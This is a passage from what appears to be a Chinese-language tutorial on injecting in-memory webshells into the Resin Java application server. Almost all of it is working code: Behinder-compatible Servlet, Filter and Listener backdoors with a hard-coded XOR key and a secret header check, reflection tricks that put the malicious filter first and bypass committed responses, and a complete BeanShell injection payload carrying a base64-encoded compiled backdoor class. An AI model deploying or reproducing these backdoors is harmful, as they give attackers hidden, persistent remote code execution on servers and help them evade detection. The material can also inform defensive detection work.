com.caucho.server.dispatch.ServletMapping m = app.createServletMapping();
m.setIfAbsent(true);
m.setServletName(sn);
m.addURLPattern("/".concat(sn));
app.addServletMapping(m);
print("MemShell Inject Done");

注意不要使用任何语法糖的写法,字符串的+实际是String.concat方法,因此这里倒数第三行使用了"/".concat(sn),而不是"/"+sn

如图,返回的结果看起来成功了:

测试一下冰蝎能否链接到内存马:

链接成功。

除了这种直接使用ClassLoader加载字节码的方式,还可以通过BCEL Classloader加载,该加载方式版本只要Java小于8u251即可使用,更加方便:

new com.sun.org.apache.bcel.internal.util.ClassLoader.loadClass("$$BCEL$$" + code);

编码可以使用:

byte[] bytecode = java.nio.file.Files.readAllBytes("./MemShellServlet.class");
String bcelClass = com.sun.org.apache.bcel.internal.classfile.Utility.encode(bytecode, true);
System.out.println("$$BCEL$$" + s);

Filter内存马

添加Filter

在上面已经找到了ServletContext的实现类实际是WebApp,而该类中的三个addFilter实现如下:

public FilterRegistration.Dynamic addFilter(String filterName, String className) {  
    return this.addFilter(filterName, className, (Class)null, (Filter)null);  
}  
  
public FilterRegistration.Dynamic addFilter(String filterName, Class<? extends Filter> filterClass) {  
    return this.addFilter(filterName, filterClass.getName(), filterClass, (Filter)null);  
}  
  
public FilterRegistration.Dynamic addFilter(String filterName, Filter filter) {  
    Class cl = filter.getClass();  
    return this.addFilter(filterName, cl.getName(), cl, filter);  
}

实际均调用了此方法添加Filter

private FilterRegistration.Dynamic addFilter(String filterName, String className, Class<? extends Filter> filterClass, Filter filter) {  
    if (!this.isInitializing()) {  
        throw new IllegalStateException();  
    } else {  
        try {  
            FilterConfigImpl config = new FilterConfigImpl();  
            config.setWebApp(this);  
            config.setServletContext(this);  
            config.setFilterName(filterName);  
            if (filter != null) {  
                config.setFilter(filter);  
            }  
  
            config.setFilterClass(className);  
            if (filterClass != null) {  
                config.setFilterClass(filterClass);  
            }  
  
            this.addFilter(config);  
            return config;  
        } catch (ClassNotFoundException var6) {  
            var6.printStackTrace();  
            throw new RuntimeException(var6.getMessage(), var6);  
        } catch (Exception var7) {  
            var7.printStackTrace();  
            return null;  
        }  
    }  
}

那么其实其实不难发现添加Filter实际最终还是通过this.addFilter(config)的,该方法如下:

@Configurable  
public void addFilter(FilterConfigImpl config) {  
    config.setServletContext(this);  
    config.setFilterManager(this._filterManager);  
    config.setWebApp(this);  
    this._filterManager.addFilter(config);  
}

于是添加一个Filter可以使用:

FilterConfigImpl config = new FilterConfigImpl();  
WebApp app = (WebApp) req.getServletContext();  
config.setServletContext(app);  
config.setFilterName("MemShellFilter_test");  
config.setFilterClass("com.test.resin.MemShellFilter");  
app.addFilter(config);

测试一下,在执行代码前:

接下来执行代码,再次观察:

Filter路由映射

Servlet一样的,通过接口查看实现,可以发现javax.servlet.FilterRegistration:addMappingForUrlPatterns只有一个实现,跟进:

public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) {  
    if (!this._webApp.isInitializing()) {  
        throw new IllegalStateException();  
    } else {  
        try {  
            FilterMapping mapping = new FilterMapping();  
            mapping.setServletContext(this._webApp);  
            mapping.setFilterName(this._filterName);  
            if (dispatcherTypes != null) {  
                Iterator var5 = dispatcherTypes.iterator();  
  
                while(var5.hasNext()) {  
                    DispatcherType dispatcherType = (DispatcherType)var5.next();  
                    mapping.addDispatcher(dispatcherType);  
                }  
            }  
  
            FilterMapping.URLPattern urlPattern = mapping.createUrlPattern();  
            String[] var12 = urlPatterns;  
            int var7 = urlPatterns.length;  
  
            for(int var8 = 0; var8 < var7; ++var8) {  
                String pattern = var12[var8];  
                urlPattern.addText(pattern);  
            }  
  
            urlPattern.init();  
            this._webApp.addFilterMapping(mapping);  
        } catch (Exception var10) {  
            throw new RuntimeException(var10.getMessage(), var10);  
        }  
    }  
}

不看看出,这里实际很简单,就是构造FilterMapping对象后往里添加FilterMapping.URLPattern对象,测试代码如下:

FilterMapping mapping = new FilterMapping();  
mapping.setServletContext(app);  
mapping.setFilterClass("MemShellFilter_test");  
FilterMapping.URLPattern urlPattern = mapping.createUrlPattern();  
urlPattern.addText("/*");  
urlPattern.init();  
app.addFilter(mapping);

在测试的Servlet打个断点,可以发现我们的Filter已经添加好了:

那么接下来需要考虑的就是如何调整一下Filter的位置了。

实际上不难发现,在Webapp_filterMapper成员中,_filterMap是一个ArrayList,并且存放了FilterMapping,那么只需要在该成员最前面插入我们对应的FilterMapping即可。

由于成员是私有的,必须通过反射去访问:

Field filterMapper = WebApp.class.getDeclaredField("_filterMapper");  
filterMapper.setAccessible(true);  
Field filterMap = FilterMapper.class.getDeclaredField("_filterMap");  
filterMap.setAccessible(true);  
FilterMapper mapper = (FilterMapper) filterMapper.get(app);  
ArrayList<FilterMapping> map = (ArrayList) filterMap.get(mapper);  
map.add(0, mapping);

合起来就是:

FilterConfigImpl config = new FilterConfigImpl();  
WebApp app = (WebApp) req.getServletContext();  
config.setServletContext(app);  
config.setFilterName("MemShellFilter_test");  
config.setFilterClass("com.test.resin.MemShellFilter");  
app.addFilter(config);  
FilterMapping mapping = new FilterMapping();  
mapping.setServletContext(app);  
mapping.setFilterName("MemShellFilter_test");  
FilterMapping.URLPattern urlPattern = mapping.createUrlPattern();  
urlPattern.addText("/*");  
urlPattern.init();  
Field filterMapper = WebApp.class.getDeclaredField("_filterMapper");  
filterMapper.setAccessible(true);  
Field filterMap = FilterMapper.class.getDeclaredField("_filterMap");  
filterMap.setAccessible(true);  
FilterMapper mapper = (FilterMapper) filterMapper.get(app);  
ArrayList<FilterMapping> map = (ArrayList) filterMap.get(mapper);  
map.add(0, mapping);

但是很意外的是,这样打上的Filter内存马,有时马上可以用,有时又不行,最后发现是缓存的锅,于是加一行清除缓存的即可:

app.clearCache();

测试一下,未添加Filter前:

此时TestFilter是唯一的Filter,添加后:

此时MemShellFilter也被添加,并且是Filter的开始位置。

冰蝎内存马改造 - Resin Filter

接下来改写一下Filter成冰蝎的内存马,和上面的Servlet改写差不多。 做好相同的交互即可:

public class MemShellFilter implements Filter {  
    @Override  
    public void init(FilterConfig filterConfig) throws ServletException {}  
  
    @Override  
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {  
        HttpServletRequest request = (HttpServletRequest) servletRequest;  
        if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {  
            ByteArrayOutputStream bos = new ByteArrayOutputStream();  
            byte[] buf = new byte[512];  
            int length = request.getInputStream().read(buf);  
            while (length > 0) {  
                byte[] data = Arrays.copyOfRange(buf, 0, length);  
                bos.write(data);  
                length = request.getInputStream().read(buf);  
            }  
            HashMap<String, Object> pageContext = new HashMap<>();  
            pageContext.put("request", servletRequest);  
            pageContext.put("response", servletResponse);  
            pageContext.put("session", request.getSession());  
            try {  
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
                byte byteCode[] = Decrypt(bos.toByteArray());  
                defineClass.setAccessible(true);  
                Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);  
                clazz.newInstance().equals(pageContext);  
            } catch (Exception e) {  
                throw new RuntimeException(e);  
            }  
        } else {  
            filterChain.doFilter(servletRequest, servletResponse);  
        }  
    }  
  
    private byte[] Decrypt(byte[] data)  
    {  
        String key="e45e329feb5d925b";  
        for (int i = 0; i < data.length; i++) {  
            data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));  
        }  
        return data;  
    }  
  
    @Override  
    public void destroy() {}  
  
}

注意这里还添加了X-Shell头作为验证,测试连接:

注入内存马

BeanShell脚本不支持泛型,直接使用Object就可以了。

按照上面合起来的Payload,拼上定义类的Payload,如下:

Class[] dcm_args=new Class[3];
dcm_args[0]=byte[].class;dcm_args[1]=int.class;dcm_args[2]=int.class;
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", dcm_args);
defineClass.setAccessible(true);
String sbc="yv66vgAAADQAogoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ%2BAQADKClWBwAIAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAsABwAKDAALAAwBAAlnZXRNZXRob2QBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwgADgEABFBPU1QKABAAEQcAEgwAEwAUAQAQamF2YS9sYW5nL1N0cmluZwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWggAFgEAB1gtU2hlbGwLAAcAGAwAGQAaAQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsIABwBAApTSEVMTF9BVVRIBwAeAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0KAB0AAwsABwAhDAAiACMBAA5nZXRJbnB1dFN0cmVhbQEAJCgpTGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtOwoAJQAmBwAnDAAoACkBACBqYXZheC9zZXJ2bGV0L1NlcnZsZXRJbnB1dFN0cmVhbQEABHJlYWQBAAUoW0IpSQoAKwAsBwAtDAAuAC8BABBqYXZhL3V0aWwvQXJyYXlzAQALY29weU9mUmFuZ2UBAAgoW0JJSSlbQgoAHQAxDAAyADMBAAV3cml0ZQEABShbQilWBwA1AQARamF2YS91dGlsL0hhc2hNYXAKADQAAwgAOAEAB3JlcXVlc3QKADQAOgwAOwA8AQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsIAD4BAAhyZXNwb25zZQgAQAEAB3Nlc3Npb24LAAcAQgwAQwBEAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsHAEYBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIIAEgBAAtkZWZpbmVDbGFzcwcASgEAD2phdmEvbGFuZy9DbGFzcwcATAEAAltCCQBOAE8HAFAMAFEAUgEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7CgBJAFQMAFUAVgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAHQBYDABZAFoBAAt0b0J5dGVBcnJheQEABCgpW0IKAFwAXQcAXgwAXwBgAQAXY29tL3Rlc3QvTWVtU2hlbGxGaWx0ZXIBAAdEZWNyeXB0AQAGKFtCKVtCCgBiAGMHAGQMAGUAZgEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWCgACAGgMAGkAagEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoASQBsDABtAG4BAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsKAE4AcAwAcQByAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsKAGIAdAwAdQB2AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgBJAHgMAHkAegEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsKAAIAEQcAfQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAH8BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgoAfgCBDAAFAIIBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYLAIQAhQcAhgwAhwCIAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEACGRvRmlsdGVyAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVggAigEAEGU0NWUzMjlmZWI1ZDkyNWIKABAAjAwAjQBaAQAIZ2V0Qnl0ZXMHAI8BABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEACkV4Y2VwdGlvbnMHAJYBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAFsoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOylWAQANU3RhY2tNYXBUYWJsZQcAmgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QHAJwBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQcAngEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAE01lbVNoZWxsRmlsdGVyLmphdmEAIQBcAAIAAQCOAAAABQABAAUABgABAJAAAAAdAAEAAQAAAAUqtwABsQAAAAEAkQAAAAYAAQAAAAoAAQCSAJMAAgCQAAAAGQAAAAIAAAABsQAAAAEAkQAAAAYAAQAAAAwAlAAAAAQAAQCVAAEAhwCXAAIAkAAAAgEABgAMAAABICvAAAc6BBkEuQAJAQASDbYAD5kBBRkEEhW5ABcCAMYA%2BRkEEhW5ABcCABIbtgAPmQDouwAdWbcAHzoFEQIAvAg6BhkEuQAgAQAZBrYAJDYHFQeeACUZBgMVB7gAKjoIGQUZCLYAMBkEuQAgAQAZBrYAJDYHp%2F%2FcuwA0WbcANjoIGQgSNyu2ADlXGQgSPSy2ADlXGQgSPxkEuQBBAQC2ADlXEkUSRwa9AElZAxJLU1kEsgBNU1kFsgBNU7YAUzoJKhkFtgBXtwBbOgoZCQS2AGEZCSq2AGe2AGsGvQACWQMZClNZBAO4AG9TWQUZCr64AG9TtgBzwABJOgsZC7YAdxkItgB7V6cADzoJuwB%2BWRkJtwCAv6cACy0rLLkAgwMAsQABAKEBBQEIAHwAAgCRAAAAZgAZAAAAEAAGABEAMgASADsAEwBCABQAUAAVAFUAFgBfABcAZgAYAHQAGQB3ABoAgAAbAIkAHACSAB0AoQAfAL8AIADKACEA0AAiAPoAIwEFACYBCAAkAQoAJQEUACcBFwAoAR8AKgCYAAAAWwAG%2FwBQAAgHAFwHAJkHAJsHAIQHAAcHAB0HAEsBAAAm%2FwCQAAkHAFwHAJkHAJsHAIQHAAcHAB0HAEsBBwA0AAEHAHz%2FAAsABQcAXAcAmQcAmwcAhAcABwAAAgcAlAAAAAYAAgCdAJUAAgBfAGAAAQCQAAAAYAAGAAQAAAAmEolNAz4dK76iABwrHSsdMyy2AIsdBGAQD34zgpFUhAMBp%2F%2FkK7AAAAACAJEAAAAWAAUAAAAuAAMALwALADAAHgAvACQAMgCYAAAADAAC%2FQAFBwAQAfoAHgABAJ8ABgABAJAAAAAZAAAAAQAAAAGxAAAAAQCRAAAABgABAAAANgABAKAAAAACAKE%3D";
byte[] bc = java.util.Base64.getDecoder().decode(sbc);
Object[] o = new Object[3];
o[0] = bc;o[1] = 0;o[2] = bc.length;
defineClass.invoke((Object)org.me.DemoServlet.class.getClassLoader(), o);
print("Class Load Done");
print(com.test.MemShellFilter.class);
javax.servlet.ServletRequest request=(javax.servlet.ServletRequest)bsh.httpServletRequest;
com.caucho.server.webapp.WebApp app=(com.caucho.server.webapp.WebApp)request.getServletContext();
com.caucho.server.dispatch.FilterConfigImpl config = new com.caucho.server.dispatch.FilterConfigImpl();
config.setServletContext(app);  
config.setFilterName("MemShellFilter_test");  
config.setFilterClass("com.test.MemShellFilter");
app.addFilter(config);
com.caucho.server.dispatch.FilterMapping mapping = new com.caucho.server.dispatch.FilterMapping();
mapping.setServletContext(app);  
mapping.setFilterName("MemShellFilter_test");
com.caucho.server.dispatch.FilterMapping.URLPattern urlPattern = mapping.createUrlPattern();
urlPattern.addText("/*");  
urlPattern.init();
java.lang.reflect.Field filterMapper = com.caucho.server.webapp.WebApp.class.getDeclaredField("_filterMapper");
filterMapper.setAccessible(true);
java.lang.reflect.Field filterMap = com.caucho.server.dispatch.FilterMapper.class.getDeclaredField("_filterMap");
filterMap.setAccessible(true);
com.caucho.server.dispatch.FilterMapper mapper = (com.caucho.server.dispatch.FilterMapper)filterMapper.get(app);
java.util.ArrayList map = (java.util.ArrayList) filterMap.get(mapper);
map.add(0, mapping);
print("Memshell inject Done");

注入完成,链接:

Listener内存马

Listener类型

分为三种类型,分别为ServletContextListenerServletRequestListener以及HttpSessionListener,与其对应属性变更则有ServletContextAttributeListenerServletRequestAttributeListener以及HttpSessionAttributeListener,但是对对于HttpSerssion来说实际还有两个分别为HttpSessionBindingListener以及HttpSessionActivationListener。具体可参考下表:

从这里不难看出,实际上适合用于内存马的只有一个类型,即ServletRequestListener

添加Listener

还是一样,通过ServletContext接口的addListener跟进。实际的三个实现方法如下:

public void addListener(String className) {
	try {
		Class listenerClass = Class.forName(className, false, this.getClassLoader());
		this.addListener(listenerClass);
	} catch (ClassNotFoundException var3) {
		throw ConfigException.create(var3);
	}
}
 
public void addListener(Class<? extends EventListener> listenerClass) {
	this.addListener((EventListener)this._cdiManager.createTransientObject(listenerClass));
}
 
public <T extends EventListener> void addListener(T listener) {
	this.addListenerObject(listener, true);
}

可以看到第一个实际调用了第二个,第二个实际调用了第三个,而第三个实际调用的是这个方法:

private void addListenerObject(Object listenerObj, boolean isStart) {
	if (listenerObj instanceof ServletContextListener) {
		ServletContextListener scListener = (ServletContextListener)listenerObj;
		if (!this.hasListener(this._webAppListeners, listenerObj.getClass())) {
			this._webAppListeners.add(scListener);
			if (isStart && this._isAfterWebAppStart) {
				ServletContextEvent event = new ServletContextEvent(this);
				scListener.contextInitialized(event);
			}
		}
	}
 
	if (listenerObj instanceof ServletContextAttributeListener) {
		this.addAttributeListener((ServletContextAttributeListener)listenerObj);
	}
 
	if (listenerObj instanceof ServletRequestListener) {
		this._requestListeners.add((ServletRequestListener)listenerObj);
		this._requestListenerArray = new ServletRequestListener[this._requestListeners.size()];
		this._requestListeners.toArray(this._requestListenerArray);
	}
 
	if (listenerObj instanceof ServletRequestAttributeListener) {
		this._requestAttributeListeners.add((ServletRequestAttributeListener)listenerObj);
		this._requestAttributeListenerArray = new ServletRequestAttributeListener[this._requestAttributeListeners.size()];
		this._requestAttributeListeners.toArray(this._requestAttributeListenerArray);
	}
 
	if (listenerObj instanceof HttpSessionListener) {
		this.getSessionManager().addListener((HttpSessionListener)listenerObj);
	}
 
	if (listenerObj instanceof HttpSessionAttributeListener) {
		this.getSessionManager().addAttributeListener((HttpSessionAttributeListener)listenerObj);
	}
 
	if (listenerObj instanceof HttpSessionActivationListener) {
		this.getSessionManager().addActivationListener((HttpSessionActivationListener)listenerObj);
	}
 
}

不难看出,这里对传入的类型进行了判断,然后将其添加到了对应的Listener列表中。因此,动态地添加Listener也很简单,通过字符串的方式传入类名即可。

app.addListener("com.test.resin.MemShellListener");
app.clearCache();

由于Listener对所有的请求都起效,因此无需对其进行路由映射。

冰蝎内存马改造 - Resin Listener

改造成对应的Listener内存马,如下:

public class MemShellListener implements ServletRequestListener {  
    private byte[] Decrypt(byte[] data)  
    {  
        String key="e45e329feb5d925b";  
        for (int i = 0; i < data.length; i++) {  
            data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));  
        }  
        return data;  
    }  
    @Override  
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {  
        try {  
            HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();  
            if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {  
                Field _response = request.getClass().getDeclaredField("_response");  
                _response.setAccessible(true);  
                HttpServletResponse response = (HttpServletResponse) _response.get(request);  
                response.reset();  
                ByteArrayOutputStream bos = new ByteArrayOutputStream();  
                byte[] buf = new byte[512];  
                int length = request.getInputStream().read(buf);  
                while (length > 0) {  
                    byte[] data = Arrays.copyOfRange(buf, 0, length);  
                    bos.write(data);  
                    length = request.getInputStream().read(buf);  
                }  
                HashMap<String, Object> pageContext = new HashMap<>();  
                pageContext.put("request", request);  
                pageContext.put("response", response);  
                pageContext.put("session", request.getSession());  
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
                byte[] byteCode = Decrypt(bos.toByteArray());  
                defineClass.setAccessible(true);  
                Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);  
                clazz.newInstance().equals(pageContext);  
            }  
        } catch (NoSuchFieldException | IllegalAccessException | IOException | NoSuchMethodException |  
                 InvocationTargetException | InstantiationException e) {  
            e.printStackTrace();  
            throw new RuntimeException(e);  
        }  
    }  
  
    @Override  
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {  
    }  
}

测试连接:

此处可能会出现解密出错的问题,需要注意的是,在Servlet内存马以及Filter内存马中,Reponse都是由我们的内存马完全控制的,Servlet内存马在拿到HttpServletResponse时该对象没有写入过任何响应文,而Filter内存马在拿到HttpServletResponse时,由于该Filter是第一位,因此理论上不会写入响应文(不排除存在Listener初始化时写入响应文,概率很低),在这样的情况下响应正文完全由内存马控制,因此可以正常解密。 在此处则不行了,由于Listener内存马需要有一个合适的Servlet处理Request才能到内存马处理逻辑,因此此时响应文可能已经被Servlet写入过,将响应重置(response.reset())是必须的,这可以避免解密错误;但是如果Servlet已经commit响应文了,则无法直接通过reset方法重置,需要通过反射调用reset(true)

因此,实际上最终的Listener内存马是这样的:

public class MemShellListener implements ServletRequestListener {  
    private byte[] Decrypt(byte[] data)  
    {  
        String key="e45e329feb5d925b";  
        for (int i = 0; i < data.length; i++) {  
            data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));  
        }  
        return data;  
    }  
    @Override  
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {  
        try {  
            HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();  
            if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {  
                Field _response = request.getClass().getDeclaredField("_response");  
                _response.setAccessible(true);  
                HttpServletResponse response = (HttpServletResponse) _response.get(request);  
                Method reset = HttpServletResponseImpl.class.getDeclaredMethod("reset", boolean.class);  
                reset.setAccessible(true);  
                reset.invoke(response, true);  
                ByteArrayOutputStream bos = new ByteArrayOutputStream();  
                byte[] buf = new byte[512];  
                int length = request.getInputStream().read(buf);  
                while (length > 0) {  
                    byte[] data = Arrays.copyOfRange(buf, 0, length);  
                    bos.write(data);  
                    length = request.getInputStream().read(buf);  
                }  
                HashMap<String, Object> pageContext = new HashMap<>();  
                pageContext.put("request", request);  
                pageContext.put("response", response);  
                pageContext.put("session", request.getSession());  
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
                byte[] byteCode = Decrypt(bos.toByteArray());  
                defineClass.setAccessible(true);  
                Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);  
                clazz.newInstance().equals(pageContext);  
            }  
        } catch (NoSuchFieldException | IllegalAccessException | IOException | NoSuchMethodException |  
                 InvocationTargetException | InstantiationException e) {  
            e.printStackTrace();  
            throw new RuntimeException(e);  
        }  
    }  
  
    @Override  
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {  
    }  
}

这样子虽然可以连接了,但是还是不太完美,因为只有支持POST方法的Servlet才可以连接上内存马,因此需要想办法在任意的Servlet都连接上,还需要再继续分析。

Servlet如果不重写doPost方法,那么默认就是调用的HttpServletdoPost方法,这个方法是这样的:

protected void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {  
    String protocol = req.getProtocol();  
    String msg = req.getMethod() + " not supported";  
    if (protocol.endsWith("1.1")) {  
        res.sendError(405, msg);  
    } else {  
        res.sendError(400, msg);  
    }  
  
}

非常简单,再看res.sendError方法,这实际上是HttpServletResponseImplsendError方法,而这个方法有一个很有意思的地方:

if (this.isCommitted()) {  
    throw new IllegalStateException(L.l("sendError() forbidden after buffer has been committed."));  
} else {
	// code
}

可以看到,如果response已经处于committed状态,那么这个方法就不会继续,而是直接抛出异常。这是一个十分重要的特性,可以阻止由于缺乏方法实现的默认do[Method]方法写入响应文,从而降低了后续清理response的难度。

实际上我尝试过在response.reset(true)response.resetBuffer(),但是他们对于默认do[Method]方法写入的内容都无法清除,从而无法在不支持POST方法的Servlet连接到内存马。

结合前面的response.reset(true)可以忽略是否为committed状态重置,于是可以形成这样的一个利用方式:requestInitialized[commit some response] -> servlet[throw Exception without writing response] -> requestDestroyed[call reset(true) and fill result]。这样的利用方式,不但可以防止默认的do[Method]方法写入内容,也可以防止正常的Post请求处理方法写入内容,而在中间抛出异常是无所谓的,在最后的requestDestroyed会处理好响应文。因此最完美的Resin Listener冰蝎内存马代码是这样的:

public class MemShellListener implements ServletRequestListener {  
    private byte[] Decrypt(byte[] data)  
    {  
        String key="e45e329feb5d925b";  
        for (int i = 0; i < data.length; i++) {  
            data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));  
        }  
        return data;  
    }  
    @Override  
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {  
        try {  
            HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();  
            if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {  
                Field _response = request.getClass().getDeclaredField("_response");  
                _response.setAccessible(true);  
                HttpServletResponse response = (HttpServletResponse) _response.get(request);  
                Method reset = HttpServletResponseImpl.class.getDeclaredMethod("reset", boolean.class);  
                reset.setAccessible(true);  
                reset.invoke(response, true);  
  
  
                ByteArrayOutputStream bos = new ByteArrayOutputStream();  
                byte[] buf = new byte[512];  
                int length = request.getInputStream().read(buf);  
                while (length > 0) {  
                    byte[] data = Arrays.copyOfRange(buf, 0, length);  
                    bos.write(data);  
                    length = request.getInputStream().read(buf);  
                }  
                HashMap<String, Object> pageContext = new HashMap<>();  
                pageContext.put("request", request);  
                pageContext.put("response", response);  
                pageContext.put("session", request.getSession());  
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
                byte[] byteCode = Decrypt(bos.toByteArray());  
                defineClass.setAccessible(true);  
                Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);  
                clazz.newInstance().equals(pageContext);  
            }  
        } catch (NoSuchFieldException | IllegalAccessException | IOException | NoSuchMethodException |  
                 InvocationTargetException | InstantiationException e) {  
            e.printStackTrace();  
            throw new RuntimeException(e);  
        }  
    }  
  
    @Override  
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {  
        try {  
            HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();  
            if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {  
                Field _response = request.getClass().getDeclaredField("_response");  
                _response.setAccessible(true);  
                HttpServletResponse response = (HttpServletResponse) _response.get(request);  
                response.getWriter().println("SHELL INITIAL");  
                response.flushBuffer();  
            }  
        } catch (NoSuchFieldException | IllegalAccessException | IOException e) {  
            e.printStackTrace();  
            throw new RuntimeException(e);  
        }  
    }  
}

正常连接内存马:

经过查看别人的内存马实现,发现自己从一开始就弄错了,不应该在requestDestroyed里实现,而是应该在requestInitialized里实现,这就可以在任意位置链接了。

最终的内存马是:

public class MemShellListener implements ServletRequestListener {  
    private byte[] Decrypt(byte[] data)  
    {  
        String key="e45e329feb5d925b";  
        for (int i = 0; i < data.length; i++) {  
            data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));  
        }  
        return data;  
    }  
    @Override  
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {  
  
    }  
  
    @Override  
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {  
        try {  
            HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();  
            if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {  
                Field _response = request.getClass().getDeclaredField("_response");  
                _response.setAccessible(true);  
                HttpServletResponse response = (HttpServletResponse) _response.get(request);  
  
                ByteArrayOutputStream bos = new ByteArrayOutputStream();  
                byte[] buf = new byte[512];  
                int length = request.getInputStream().read(buf);  
                while (length > 0) {  
                    byte[] data = Arrays.copyOfRange(buf, 0, length);  
                    bos.write(data);  
                    length = request.getInputStream().read(buf);  
                }  
                HashMap<String, Object> pageContext = new HashMap<>();  
                pageContext.put("request", request);  
                pageContext.put("response", response);  
                pageContext.put("session", request.getSession());  
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
                byte[] byteCode = Decrypt(bos.toByteArray());  
                defineClass.setAccessible(true);  
                Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);  
                clazz.newInstance().equals(pageContext);  
            }  
        } catch (NoSuchFieldException | IllegalAccessException | IOException | NoSuchMethodException |  
                 InvocationTargetException | InstantiationException e) {  
            e.printStackTrace();  
            throw new RuntimeException(e);  
        }  
    }  
}

注入内存马

比Filter还简单,直接获取到app后添加就好了:

Class[] dcm_args=new Class[3];
dcm_args[0]=byte[].class;dcm_args[1]=int.class;dcm_args[2]=int.class;
